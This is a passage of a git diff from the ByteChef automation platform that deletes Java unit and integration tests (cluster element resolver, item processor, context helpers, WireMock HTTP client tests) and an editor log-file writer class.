-            (clusterElement, inputParams, connectionParams, ctx) -> "source-result");
-
-        assertEquals("source-result", result);
-
-        String otherResult = resolver.resolve(
-            otherType,
-            (clusterElement, inputParams, connectionParams, ctx) -> "other-result");
-
-        assertNull(otherResult);
-    }
-
-    @Test
-    void testResolveWithDifferentReturnTypes() {
-        Parameters inputParameters = mock(Parameters.class);
-        Parameters connectionParameters = mock(Parameters.class);
-        ClusterElementContext context = mock(ClusterElementContext.class);
-
-        ClusterElementResolverFunction resolver = new ClusterElementResolverFunction() {
-
-            @Override
-            public <T> T resolve(
-                ClusterElementType clusterElementType, ClusterElementFunction<T> clusterElementFunction) {
-
-                return clusterElementFunction.apply("element", inputParameters, connectionParameters, context);
-            }
-        };
-
-        ClusterElementType sourceType = new ClusterElementType("SOURCE", "source", "Source");
-
-        String stringResult = resolver.resolve(
-            sourceType,
-            (clusterElement, inputParams, connectionParams, ctx) -> "string");
-
-        assertEquals("string", stringResult);
-
-        Integer intResult = resolver.resolve(
-            sourceType,
-            (clusterElement, inputParams, connectionParams, ctx) -> 42);
-
-        assertEquals(42, intResult);
-
-        Boolean boolResult = resolver.resolve(
-            sourceType,
-            (clusterElement, inputParams, connectionParams, ctx) -> true);
-
-        assertEquals(true, boolResult);
-    }
-
-    @Test
-    void testResolveProvidesClusterElementToFunction() {
-        Parameters inputParameters = mock(Parameters.class);
-        Parameters connectionParameters = mock(Parameters.class);
-        ClusterElementContext context = mock(ClusterElementContext.class);
-        String expectedElement = "testElement";
-
-        ClusterElementResolverFunction resolver = new ClusterElementResolverFunction() {
-
-            @Override
-            public <T> T resolve(
-                ClusterElementType clusterElementType, ClusterElementFunction<T> clusterElementFunction) {
-
-                return clusterElementFunction.apply(expectedElement, inputParameters, connectionParameters, context);
-            }
-        };
-
-        ClusterElementType type = new ClusterElementType("TEST", "test", "Test");
-
-        String result = resolver.resolve(
-            type,
-            (clusterElement, inputParams, connectionParams, ctx) -> "Element: " + clusterElement);
-
-        assertEquals("Element: testElement", result);
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-api/src/test/java/com/bytechef/platform/component/definition/datastream/ItemProcessorTest.java b/server/libs/platform/platform-component/platform-component-api/src/test/java/com/bytechef/platform/component/definition/datastream/ItemProcessorTest.java
deleted file mode 100644
index bbe4d1a024c..00000000000
--- a/server/libs/platform/platform-component/platform-component-api/src/test/java/com/bytechef/platform/component/definition/datastream/ItemProcessorTest.java
+++ /dev/null
@@ -1,115 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.definition.datastream;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.mockito.Mockito.mock;
-
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.ClusterElementDefinition.ClusterElementType;
-import com.bytechef.component.definition.Parameters;
-import java.util.HashMap;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class ItemProcessorTest {
-
-    @Test
-    void testProcessorClusterElementType() {
-        ClusterElementType processorType = ItemProcessor.PROCESSOR;
-
-        assertNotNull(processorType);
-        assertEquals("PROCESSOR", processorType.name());
-        assertEquals("processor", processorType.key());
-        assertEquals("Processor", processorType.label());
-        assertFalse(processorType.multipleElements());
-        assertFalse(processorType.required());
-    }
-
-    @Test
-    void testProcessMethod() throws Exception {
-        ItemProcessor<String, String> processor = new ItemProcessor<>() {
-
-            @Override
-            public Map<String, String> process(
-                Map<String, String> item, Parameters inputParameters, Parameters connectionParameters,
-                ClusterElementContext context) {
-
-                Map<String, String> result = new HashMap<>();
-
-                for (Map.Entry<String, String> entry : item.entrySet()) {
-                    result.put(entry.getKey()
-                        .toUpperCase(),
-                        entry.getValue()
-                            .toUpperCase());
-                }
-
-                return result;
-            }
-        };
-
-        Parameters inputParameters = mock(Parameters.class);
-        Parameters connectionParameters = mock(Parameters.class);
-        ClusterElementContext context = mock(ClusterElementContext.class);
-
-        Map<String, String> inputItem = Map.of("name", "john", "city", "boston");
-
-        Map<String, String> result = processor.process(inputItem, inputParameters, connectionParameters, context);
-
-        assertEquals(2, result.size());
-        assertEquals("JOHN", result.get("NAME"));
-        assertEquals("BOSTON", result.get("CITY"));
-    }
-
-    @Test
-    void testProcessWithDifferentTypes() throws Exception {
-        ItemProcessor<Integer, String> processor = new ItemProcessor<>() {
-
-            @Override
-            public Map<String, Integer> process(
-                Map<String, String> item, Parameters inputParameters, Parameters connectionParameters,
-                ClusterElementContext context) {
-
-                Map<String, Integer> result = new HashMap<>();
-
-                for (Map.Entry<String, String> entry : item.entrySet()) {
-                    result.put(entry.getKey(), entry.getValue()
-                        .length());
-                }
-
-                return result;
-            }
-        };
-
-        Parameters inputParameters = mock(Parameters.class);
-        Parameters connectionParameters = mock(Parameters.class);
-        ClusterElementContext context = mock(ClusterElementContext.class);
-
-        Map<String, String> inputItem = Map.of("name", "john", "city", "boston");
-
-        Map<String, Integer> result = processor.process(inputItem, inputParameters, connectionParameters, context);
-
-        assertEquals(2, result.size());
-        assertEquals(4, result.get("name"));
-        assertEquals(6, result.get("city"));
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-context/platform-component-context-service/src/main/java/com/bytechef/platform/component/context/EditorLogFileStorageWriter.java b/server/libs/platform/platform-component/platform-component-context/platform-component-context-service/src/main/java/com/bytechef/platform/component/context/EditorLogFileStorageWriter.java
deleted file mode 100644
index 156d7a9361c..00000000000
--- a/server/libs/platform/platform-component/platform-component-context/platform-component-context-service/src/main/java/com/bytechef/platform/component/context/EditorLogFileStorageWriter.java
+++ /dev/null
@@ -1,101 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.context;
-
-import com.bytechef.commons.util.JsonUtils;
-import com.bytechef.platform.component.log.LogFileStorageWriter;
-import com.bytechef.platform.component.log.domain.LogEntry;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.io.IOException;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.nio.file.StandardOpenOption;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-/**
- * LogFileStorage implementation for writing logs in editor/test environments. Writes logs to temporary files using
- * JSONL format asynchronously using virtual threads.
- *
- * @author Ivica Cardic
- */
-public class EditorLogFileStorageWriter implements LogFileStorageWriter {
-
-    private static final Logger LOGGER = LoggerFactory.getLogger(EditorLogFileStorageWriter.class);
-
-    private static final String LOG_DIR_NAME = "bytechef_editor_logs";
-
-    private final ExecutorService asyncExecutor = Executors.newVirtualThreadPerTaskExecutor();
-    private final Path logDirectory;
-
-    // Security: PATH_TRAVERSAL_IN is suppressed because logDirectory uses only a hardcoded constant (LOG_DIR_NAME)
-    // combined with java.io.tmpdir system property, with no user input involved.
-    // EI is suppressed because Path is effectively immutable and the field is private final.
-    @SuppressFBWarnings(value = {
-        "CT_CONSTRUCTOR_THROW", "EI", "PATH_TRAVERSAL_IN"
-    }, justification = "Constructor must fail fast if log directory cannot be created; Path is immutable and private; "
-        +
-        "no user input in path construction")
-    public EditorLogFileStorageWriter() {
-        this.logDirectory = Path.of(System.getProperty("java.io.tmpdir"), LOG_DIR_NAME);
-
-        try {
-            Files.createDirectories(logDirectory);
-        } catch (IOException exception) {
-            throw new RuntimeException("Failed to create editor log directory", exception);
-        }
-    }
-
-    @Override
-    public void storeLogEntry(long jobId, long taskExecutionId, LogEntry logEntry) {
-        asyncExecutor.submit(() -> appendLogEntry(jobId, logEntry));
-    }
-
-    @Override
-    public void deleteLogEntries(long jobId) {
-        Path logFile = getLogFilePath(jobId);
-
-        try {
-            Files.deleteIfExists(logFile);
-        } catch (IOException exception) {
-            LOGGER.warn("Failed to delete editor log file: {}", logFile, exception);
-        }
-    }
-
-    // Security: jobId is a primitive long, so it cannot contain path traversal characters
-    private Path getLogFilePath(long jobId) {
-        return logDirectory.resolve("job_" + jobId + ".jsonl");
-    }
-
-    private synchronized void appendLogEntry(long jobId, LogEntry logEntry) {
-        try {
-            Path logFile = getLogFilePath(jobId);
-
-            if (!Files.exists(logFile)) {
-                Files.createFile(logFile);
-            }
-
-            String logLine = JsonUtils.write(logEntry) + "\n";
-
-            Files.writeString(logFile, logLine, StandardOpenOption.APPEND);
-        } catch (IOException exception) {
-            LOGGER.error("Failed to append log entry for job {}", jobId, exception);
-        }
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-context/platform-component-context-service/src/test/java/com/bytechef/platform/component/context/ClusterElementContextImplTest.java b/server/libs/platform/platform-component/platform-component-context/platform-component-context-service/src/test/java/com/bytechef/platform/component/context/ClusterElementContextImplTest.java
deleted file mode 100644
index 112dcbf2ce0..00000000000
--- a/server/libs/platform/platform-component/platform-component-context/platform-component-context-service/src/test/java/com/bytechef/platform/component/context/ClusterElementContextImplTest.java
+++ /dev/null
@@ -1,358 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.context;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertNull;
-import static org.junit.jupiter.api.Assertions.assertThrows;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.ClusterElementDefinition.ClusterElementType;
-import com.bytechef.platform.component.ComponentConnection;
-import com.bytechef.platform.component.definition.datastream.ClusterElementResolverFunction;
-import com.bytechef.platform.component.log.LogFileStorage;
-import com.bytechef.platform.constant.PlatformType;
-import com.bytechef.platform.data.storage.DataStorage;
-import com.bytechef.platform.file.storage.TempFileStorage;
-import java.util.HashMap;
-import java.util.Map;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.springframework.cache.CacheManager;
-import org.springframework.context.ApplicationEventPublisher;
-
-/**
- * @author Ivica Cardic
- */
-class ClusterElementContextImplTest {
-
-    private CacheManager cacheManager;
-    private DataStorage dataStorage;
-    private ApplicationEventPublisher eventPublisher;
-    private HttpClientExecutor httpClientExecutor;
-    private TempFileStorage tempFileStorage;
-
-    @BeforeEach
-    void setUp() {
-        cacheManager = mock(CacheManager.class);
-        dataStorage = mock(DataStorage.class);
-        eventPublisher = mock(ApplicationEventPublisher.class);
-        httpClientExecutor = mock(HttpClientExecutor.class);
-        tempFileStorage = mock(TempFileStorage.class);
-    }
-
-    @Test
-    void testBuilderWithAllFields() {
-        LogFileStorage logFileStorage = mock(LogFileStorage.class);
-        ComponentConnection componentConnection = mock(ComponentConnection.class);
-        ClusterElementResolverFunction clusterElementResolver = mock(ClusterElementResolverFunction.class);
-
-        ClusterElementContextImpl context = ClusterElementContextImpl.builder(
-            "testComponent", 1, "testElement", false,
-            cacheManager, dataStorage, eventPublisher, httpClientExecutor, tempFileStorage)
-            .clusterElementResolver(clusterElementResolver)
-            .componentConnection(componentConnection)
-            .environmentId(100L)
-            .jobId(200L)
-            .jobPrincipalId(300L)
-            .jobPrincipalWorkflowId(400L)
-            .logFileStorageWriter(logFileStorage)
-            .publicUrl("https://example.com")
-            .type(PlatformType.AUTOMATION)
-            .workflowId("workflow-123")
-            .build();
-
-        assertNotNull(context);
-        assertEquals(100L, context.getEnvironmentId());
-    }
-
-    @Test
-    void testBuilderWithMinimalFields() {
-        ClusterElementContextImpl context = ClusterElementContextImpl.builder(
-            "testComponent", 1, "testElement", true,
-            cacheManager, dataStorage, eventPublisher, httpClientExecutor, tempFileStorage)
-            .build();
-
-        assertNotNull(context);
-        assertNull(context.getEnvironmentId());
-    }
-
-    @Test
-    void testResolveClusterElement() {
-        ClusterElementResolverFunction clusterElementResolver = mock(ClusterElementResolverFunction.class);
-        ClusterElementType clusterElementType = mock(ClusterElementType.class);
-
-        when(clusterElementResolver.resolve(
-            org.mockito.ArgumentMatchers.eq(clusterElementType), org.mockito.ArgumentMatchers.any()))
-                .thenReturn("result");
-
-        ClusterElementContextImpl context = ClusterElementContextImpl.builder(
-            "testComponent", 1, "testElement", false,
-            cacheManager, dataStorage, eventPublisher, httpClientExecutor, tempFileStorage)
-            .clusterElementResolver(clusterElementResolver)
-            .build();
-
-        String result = context.resolveClusterElement(
-            clusterElementType,
-            (element, inputParams, connectionParams, ctx) -> "result");
-
-        assertEquals("result", result);
-    }
-
-    @Test
-    void testResolveClusterElementWithNullResolver() {
-        ClusterElementContextImpl context = ClusterElementContextImpl.builder(
-            "testComponent", 1, "testElement", false,
-            cacheManager, dataStorage, eventPublisher, httpClientExecutor, tempFileStorage)
-            .build();
-
-        ClusterElementType clusterElementType = mock(ClusterElementType.class);
-
-        assertThrows(NullPointerException.class, () -> context.resolveClusterElement(
-            clusterElementType,
-            (element, inputParams, connectionParams, ctx) -> "result"));
-    }
-
-    @Test
-    void testToActionContext() {
-        ComponentConnection componentConnection = mock(ComponentConnection.class);
-
-        ClusterElementContextImpl context = ClusterElementContextImpl.builder(
-            "testComponent", 1, "testElement", false,
-            cacheManager, dataStorage, eventPublisher, httpClientExecutor, tempFileStorage)
-            .environmentId(100L)
-            .jobId(200L)
-            .type(PlatformType.AUTOMATION)
-            .workflowId("workflow-123")
-            .build();
-
-        ActionContext actionContext = context.toActionContext(
-            "newComponent", 2, "newAction", componentConnection);
-
-        assertNotNull(actionContext);
-    }
-
-    @Test
-    void testNestedContainsPath() {
-        ClusterElementContextImpl context = ClusterElementContextImpl.builder(
-            "testComponent", 1, "testElement", false,
-            cacheManager, dataStorage, eventPublisher, httpClientExecutor, tempFileStorage)
-            .build();
-
-        Map<String, Object> map = new HashMap<>();
-
-        map.put("level1", Map.of("level2", Map.of("level3", "value")));
-        map.put("simple", "simpleValue");
-
-        boolean result = context.nested(nested -> {
-            assertTrue(nested.containsPath(map, "simple"));
-            assertTrue(nested.containsPath(map, "level1"));
-            assertTrue(nested.containsPath(map, "level1.level2"));
-            assertTrue(nested.containsPath(map, "level1.level2.level3"));
-            assertFalse(nested.containsPath(map, "nonexistent"));
-            assertFalse(nested.containsPath(map, "level1.nonexistent"));
-            assertFalse(nested.containsPath(map, ""));
-
-            return true;
-        });
-
-        assertTrue(result);
-    }
-
-    @Test
-    void testNestedGetValue() {
-        ClusterElementContextImpl context = ClusterElementContextImpl.builder(
-            "testComponent", 1, "testElement", false,
-            cacheManager, dataStorage, eventPublisher, httpClientExecutor, tempFileStorage)
-            .build();
-
-        Map<String, Object> map = new HashMap<>();
-
-        map.put("level1", Map.of("level2", Map.of("level3", "deepValue")));
-        map.put("simple", "simpleValue");
-        map.put("number", 42);
-
-        context.nested(nested -> {
-            assertEquals("simpleValue", nested.getValue(map, "simple"));
-            assertEquals(42, nested.getValue(map, "number"));
-            assertEquals("deepValue", nested.getValue(map, "level1.level2.level3"));
-            assertNull(nested.getValue(map, "nonexistent"));
-            assertNull(nested.getValue(map, "level1.nonexistent"));
-
-            return null;
-        });
-    }
-
-    @Test
-    void testNestedSetValue() {
-        ClusterElementContextImpl context = ClusterElementContextImpl.builder(
-            "testComponent", 1, "testElement", false,
-            cacheManager, dataStorage, eventPublisher, httpClientExecutor, tempFileStorage)
-            .build();
-
-        Map<String, Object> map = new HashMap<>();
-
-        context.nested(nested -> {
-            nested.setValue(map, "simple", "value1");
-
-            assertEquals("value1", map.get("simple"));
-
-            nested.setValue(map, "level1.level2.level3", "deepValue");
-
-            @SuppressWarnings("unchecked")
-            Map<String, Object> level1 = (Map<String, Object>) map.get("level1");
-
-            assertNotNull(level1);
-
-            @SuppressWarnings("unchecked")
-            Map<String, Object> level2 = (Map<String, Object>) level1.get("level2");
-
-            assertNotNull(level2);
-            assertEquals("deepValue", level2.get("level3"));
-
-            nested.setValue(map, "simple", null);
-
-            assertFalse(map.containsKey("simple"));
-
-            nested.setValue(map, "", "ignored");
-
-            assertFalse(map.containsKey(""));
-
-            return null;
-        });
-    }
-
-    @Test
-    void testNestedFlatten() {
-        ClusterElementContextImpl context = ClusterElementContextImpl.builder(
-            "testComponent", 1, "testElement", false,
-            cacheManager, dataStorage, eventPublisher, httpClientExecutor, tempFileStorage)
-            .build();
-
-        Map<String, Object> nestedMap = new HashMap<>();
-
-        nestedMap.put("level1", Map.of(
-            "level2a", "value2a",
-            "level2b", Map.of("level3", "value3")));
-        nestedMap.put("simple", "simpleValue");
-
-        Map<String, Object> flattened = context.nested(nested -> nested.flatten(nestedMap));
-
-        assertEquals(3, flattened.size());
-        assertEquals("simpleValue", flattened.get("simple"));
-        assertEquals("value2a", flattened.get("level1.level2a"));
-        assertEquals("value3", flattened.get("level1.level2b.level3"));
-    }
-
-    @Test
-    void testNestedUnflatten() {
-        ClusterElementContextImpl context = ClusterElementContextImpl.builder(
-            "testComponent", 1, "testElement", false,
-            cacheManager, dataStorage, eventPublisher, httpClientExecutor, tempFileStorage)
-            .build();
-
-        Map<String, Object> flatMap = new HashMap<>();
-
-        flatMap.put("simple", "simpleValue");
-        flatMap.put("level1.level2a", "value2a");
-        flatMap.put("level1.level2b.level3", "value3");
-
-        Map<String, Object> unflattened = context.nested(nested -> nested.unflatten(flatMap));
-
-        assertEquals("simpleValue", unflattened.get("simple"));
-
-        @SuppressWarnings("unchecked")
-        Map<String, Object> level1 = (Map<String, Object>) unflattened.get("level1");
-
-        assertNotNull(level1);
-        assertEquals("value2a", level1.get("level2a"));
-
-        @SuppressWarnings("unchecked")
-        Map<String, Object> level2b = (Map<String, Object>) level1.get("level2b");
-
-        assertNotNull(level2b);
-        assertEquals("value3", level2b.get("level3"));
-    }
-
-    @Test
-    void testNestedFlattenAndUnflattenRoundTrip() {
-        ClusterElementContextImpl context = ClusterElementContextImpl.builder(
-            "testComponent", 1, "testElement", false,
-            cacheManager, dataStorage, eventPublisher, httpClientExecutor, tempFileStorage)
-            .build();
-
-        Map<String, Object> original = new HashMap<>();
-
-        original.put("a", Map.of(
-            "b", Map.of("c", "abc"),
-            "d", "ad"));
-        original.put("e", "e");
-
-        context.nested(nested -> {
-            Map<String, Object> flattened = nested.flatten(original);
-            Map<String, Object> restored = nested.unflatten(flattened);
-
-            assertEquals("abc", nested.getValue(restored, "a.b.c"));
-            assertEquals("ad", nested.getValue(restored, "a.d"));
-            assertEquals("e", nested.getValue(restored, "e"));
-
-            return null;
-        });
-    }
-
-    @Test
-    void testNestedWithEmptyMap() {
-        ClusterElementContextImpl context = ClusterElementContextImpl.builder(
-            "testComponent", 1, "testElement", false,
-            cacheManager, dataStorage, eventPublisher, httpClientExecutor, tempFileStorage)
-            .build();
-
-        Map<String, Object> emptyMap = new HashMap<>();
-
-        context.nested(nested -> {
-            assertFalse(nested.containsPath(emptyMap, "any"));
-            assertNull(nested.getValue(emptyMap, "any"));
-
-            Map<String, Object> flattened = nested.flatten(emptyMap);
-
-            assertTrue(flattened.isEmpty());
-
-            Map<String, Object> unflattened = nested.unflatten(emptyMap);
-
-            assertTrue(unflattened.isEmpty());
-
-            return null;
-        });
-    }
-
-    @Test
-    void testNestedExceptionHandling() {
-        ClusterElementContextImpl context = ClusterElementContextImpl.builder(
-            "testComponent", 1, "testElement", false,
-            cacheManager, dataStorage, eventPublisher, httpClientExecutor, tempFileStorage)
-            .build();
-
-        assertThrows(RuntimeException.class, () -> context.nested(nested -> {
-            throw new Exception("Test exception");
-        }));
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-context/platform-component-context-service/src/test/java/com/bytechef/platform/component/context/HttpClientExecutorIntTest.java b/server/libs/platform/platform-component/platform-component-context/platform-component-context-service/src/test/java/com/bytechef/platform/component/context/HttpClientExecutorIntTest.java
deleted file mode 100644
index 84212ced788..00000000000
--- a/server/libs/platform/platform-component/platform-component-context/platform-component-context-service/src/test/java/com/bytechef/platform/component/context/HttpClientExecutorIntTest.java
+++ /dev/null
@@ -1,1335 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.context;
-
-import static com.github.tomakehurst.wiremock.client.WireMock.aResponse;
-import static com.github.tomakehurst.wiremock.client.WireMock.containing;
-import static com.github.tomakehurst.wiremock.client.WireMock.delete;
-import static com.github.tomakehurst.wiremock.client.WireMock.equalTo;
-import static com.github.tomakehurst.wiremock.client.WireMock.equalToJson;
-import static com.github.tomakehurst.wiremock.client.WireMock.get;
-import static com.github.tomakehurst.wiremock.client.WireMock.head;
-import static com.github.tomakehurst.wiremock.client.WireMock.ok;
-import static com.github.tomakehurst.wiremock.client.WireMock.patch;
-import static com.github.tomakehurst.wiremock.client.WireMock.post;
-import static com.github.tomakehurst.wiremock.client.WireMock.put;
-import static com.github.tomakehurst.wiremock.client.WireMock.stubFor;
-import static com.github.tomakehurst.wiremock.client.WireMock.urlPathEqualTo;
-import static com.github.tomakehurst.wiremock.core.WireMockConfiguration.wireMockConfig;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertInstanceOf;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.commons.util.ConvertUtils;
-import com.bytechef.commons.util.JsonUtils;
-import com.bytechef.commons.util.XmlUtils;
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.Authorization.AuthorizationType;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.Configuration;
-import com.bytechef.component.definition.Context.Http.RequestMethod;
-import com.bytechef.component.definition.Context.Http.Response;
-import com.bytechef.file.storage.domain.FileEntry;
-import com.bytechef.platform.component.ComponentConnection;
-import com.bytechef.platform.component.service.ActionDefinitionService;
-import com.bytechef.platform.component.service.ConnectionDefinitionService;
-import com.bytechef.platform.component.service.TriggerDefinitionService;
-import com.bytechef.platform.file.storage.TempFileStorage;
-import com.github.tomakehurst.wiremock.junit5.WireMockExtension;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.io.InputStream;
-import java.nio.charset.StandardCharsets;
-import java.time.Duration;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.DisplayName;
-import org.junit.jupiter.api.Nested;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.extension.RegisterExtension;
-import org.mockito.ArgumentMatchers;
-import org.springframework.context.ApplicationContext;
-import tools.jackson.databind.ObjectMapper;
-import tools.jackson.databind.json.JsonMapper;
-import tools.jackson.dataformat.xml.XmlMapper;
-
-/**
- * Integration tests for {@link HttpClientExecutor} that test the execute method with actual HTTP calls using WireMock
- * to mock server responses.
- *
- * @author Ivica Cardic
- */
-class HttpClientExecutorIntTest {
-
-    static {
-        ObjectMapper objectMapper = JsonMapper.builder()
-            .build();
-
-        ConvertUtils.setObjectMapper(objectMapper);
-        JsonUtils.setObjectMapper(objectMapper);
-        XmlUtils.setXmlMapper(
-            XmlMapper.builder()
-                .build());
-    }
-
-    @RegisterExtension
-    static WireMockExtension wireMock = WireMockExtension.newInstance()
-        .options(wireMockConfig()
-            .dynamicPort()
-            .http2PlainDisabled(true))
-        .configureStaticDsl(true)
-        .build();
-
-    private HttpClientExecutor httpClientExecutor;
-    private ApplicationContext applicationContext;
-    private TempFileStorage tempFileStorage;
-    private ActionContext actionContext;
-    private ConnectionDefinitionService connectionDefinitionService;
-    private String baseUrl;
-
-    @BeforeEach
-    void setUp() {
-        baseUrl = "http://localhost:" + wireMock.getPort();
-        applicationContext = mock(ApplicationContext.class);
-        tempFileStorage = mock(TempFileStorage.class);
-        actionContext = mock(ActionContext.class);
-        connectionDefinitionService = mock(ConnectionDefinitionService.class);
-
-        when(applicationContext.getBean(ActionDefinitionService.class))
-            .thenReturn(mock(ActionDefinitionService.class));
-        when(applicationContext.getBean(TriggerDefinitionService.class))
-            .thenReturn(mock(TriggerDefinitionService.class));
-        when(applicationContext.getBean(ConnectionDefinitionService.class))
-            .thenReturn(connectionDefinitionService);
-
-        httpClientExecutor = new HttpClientExecutor(applicationContext, tempFileStorage);
-    }
-
-    @Nested
-    @DisplayName("GET Request Tests")
-    class GetRequestTests {
-
-        @Test
-        @DisplayName("Should execute GET request and return JSON response")
-        void testGetRequestWithJsonResponse() throws Exception {
-            String responseBody = "{\"id\": 1, \"name\": \"Test\"}";
-
-            stubFor(get(urlPathEqualTo("/api/test"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json")
-                    .withBody(responseBody)));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/test",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-
-            @SuppressWarnings("unchecked")
-            Map<String, Object> body = (Map<String, Object>) response.getBody();
-
-            assertEquals(1, body.get("id"));
-            assertEquals("Test", body.get("name"));
-        }
-
-        @Test
-        @DisplayName("Should execute GET request with query parameters")
-        void testGetRequestWithQueryParameters() throws Exception {
-            stubFor(get(urlPathEqualTo("/api/search"))
-                .withQueryParam("query", equalTo("test"))
-                .withQueryParam("page", equalTo("1"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json")
-                    .withBody("{\"results\": []}")));
-
-            Map<String, List<String>> queryParameters = Map.of(
-                "query", List.of("test"),
-                "page", List.of("1"));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/search",
-                Collections.emptyMap(),
-                queryParameters,
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-
-        @Test
-        @DisplayName("Should execute GET request with custom headers")
-        void testGetRequestWithCustomHeaders() throws Exception {
-            stubFor(get(urlPathEqualTo("/api/protected"))
-                .withHeader("X-Custom-Header", equalTo("custom-value"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/json")
-                    .withBody("{\"status\": \"ok\"}")));
-
-            Map<String, List<String>> headers = Map.of(
-                "X-Custom-Header", List.of("custom-value"));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.JSON)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/protected",
-                headers,
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-        }
-
-        @Test
-        @DisplayName("Should execute GET request and return TEXT response")
-        void testGetRequestWithTextResponse() throws Exception {
-            String responseBody = "Plain text response";
-
-            stubFor(get(urlPathEqualTo("/api/text"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "text/plain")
-                    .withBody(responseBody)));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.TEXT)
-                .build();
-
-            Response response = httpClientExecutor.execute(
-                baseUrl + "/api/text",
-                Collections.emptyMap(),
-                Collections.emptyMap(),
-                null,
-                configuration,
-                RequestMethod.GET,
-                "testComponent",
-                1,
-                null,
-                null,
-                actionContext);
-
-            assertNotNull(response);
-            assertEquals(200, response.getStatusCode());
-            assertEquals(responseBody, response.getBody());
-        }
-
-        @Test
-        @DisplayName("Should execute GET request and return XML response")
-        void testGetRequestWithXmlResponse() throws Exception {
-            String responseBody = "<root><name>Test</name></root>";
-
-            stubFor(get(urlPathEqualTo("/api/xml"))
-                .willReturn(ok()
-                    .withHeader("Content-Type", "application/xml")
-                    .withBody(responseBody)));
-
-            Configuration configuration = Http.responseType(Http.ResponseType.XML)
